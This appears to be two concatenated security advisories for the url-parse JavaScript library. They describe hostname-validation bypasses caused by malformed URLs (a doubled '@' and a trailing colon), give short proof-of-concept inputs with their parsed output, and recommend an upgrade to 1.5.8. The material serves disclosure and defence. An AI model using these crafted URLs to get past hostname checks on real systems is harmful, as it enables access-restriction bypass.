Overview

url-parse is a Small footprint URL parser that works seamlessly across Node.js and browser environments.

Affected versions of this package are vulnerable to Access Restriction Bypass due to improper parsing process, that may lead to incorrect handling of authentication credentials and hostname, which allows bypass of hostname validation.

PoC:

// PoC.js
 var parse = require('url-parse')
var cc=parse("http://admin:password123@@127.0.0.1")

//Output:
{ slashes: true,
  protocol: 'http:',
  hash: '',
  query: '',
  pathname: '/',
  auth: 'admin:password123',
  host: '@127.0.0.1',
  port: '',
  hostname: '@127.0.0.1',
  password: 'password123',
  username: 'admin',
  origin: 'http://@127.0.0.1',
  href: 'http://admin:password123@@127.0.0.1/' }

Remediation

Overview

url-parse is a Small footprint URL parser that works seamlessly across Node.js and browser environments.

Affected versions of this package are vulnerable to Authorization Bypass via the hostname field of a parsed URL, because "url-parse" is unable to find the correct hostname when no port number is provided in the URL.

PoC:

var Url = require('url-parse');
var PAYLOAD = "http://example.com:";

console.log(Url(PAYLOAD));

// Expected hostname: example.com
// Actual hostname by url-parse: example.com:

Output:

{
  slashes: true,
  protocol: 'http:',
  hash: '',
  query: '',
  pathname: '/',
  auth: '',
  host: 'example.com:',
  port: '',
  hostname: 'example.com:',
  password: '',
  username: '',
  origin: 'http://example.com:',
  href: 'http://example.com:/'
}

Remediation

Upgrade url-parse to version 1.5.8 or higher.
